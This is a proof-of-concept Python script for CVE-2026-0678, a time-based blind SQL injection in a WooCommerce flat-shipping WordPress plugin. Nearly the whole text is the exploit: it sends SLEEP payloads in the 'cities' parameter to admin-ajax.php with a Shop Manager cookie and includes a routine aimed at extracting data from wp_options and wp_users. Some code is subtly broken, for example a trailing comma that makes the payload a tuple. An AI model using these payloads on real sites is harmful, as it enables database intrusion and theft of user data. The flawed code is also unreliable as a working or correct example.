CVE-2026-0678 WordPress Flat Shipping插件SQL注入漏洞

#!/usr/bin/env python3 """ CVE-2026-0678 PoC - Time-based SQL Injection in Flat Shipping Rate by City for WooCommerce Tested on versions <= 1.0.3 """ import time import requests from urllib.parse import urlencode # Configuration TARGET_URL = "http://vulnerable-site.com/wp-admin/admin-ajax.php" COOKIES = { "wordpress_test_cookie": "WP+Cookie+check", "wordpress_sec_xxx": "your_auth_cookie_here", # Shop Manager session cookie } def test_sql_injection(): """Test for time-based SQL injection vulnerability""" # Normal request for baseline print("[*] Sending baseline request...") start = time.time() normal_data = { "action": "wc_city_shipping_rates", "cities": "TestCity", "security": "nonce_value" } requests.post(TARGET_URL, data=normal_data, cookies=COOKIES, timeout=10) baseline_time = time.time() - start print(f"[+] Baseline response time: {baseline_time:.2f}s") # SQL injection test with time delay print("[*] Testing SQL injection with SLEEP(5)...") start = time.time() # Time-based blind SQL injection payload injection_payload = "' OR SLEEP(5)-- -", malicious_data = { "action": "wc_city_shipping_rates", "cities": injection_payload, "security": "nonce_value" } try: response = requests.post(TARGET_URL, data=malicious_data, cookies=COOKIES, timeout=30) injection_time = time.time() - start print(f"[+] Injection response time: {injection_time:.2f}s") if injection_time > baseline_time + 4: print("[!] VULNERABLE: Time delay detected, SQL injection confirmed!") return True else: print("[-] Not vulnerable or insufficient delay") return False except requests.exceptions.Timeout: print("[!] Request timed out - likely vulnerable to SQL injection") return True def extract_data(): """Extract database information using time-based SQL injection""" # Example: Extract WordPress database prefix and version payloads = [ # Get database version "' OR (SELECT SLEEP(3) FROM wp_options WHERE 1=(SELECT 1 UNION SELECT 2))-- -", # Get current user "' OR (SELECT SLEEP(2) FROM wp_users WHERE user_login=(SELECT user_login FROM wp_users LIMIT 1))-- -", ] for i, payload in enumerate(payloads): print(f"[*] Testing payload {i+1}...") data = { "action": "wc_city_shipping_rates", "cities": payload, "security": "nonce_value" } start = time.time() requests.post(TARGET_URL, data=data, cookies=COOKIES, timeout=15) elapsed = time.time() - start print(f"[+] Response time: {elapsed:.2f}s") if __name__ == "__main__": print("CVE-2026-0678 SQL Injection Test") print("=" * 50) test_sql_injection()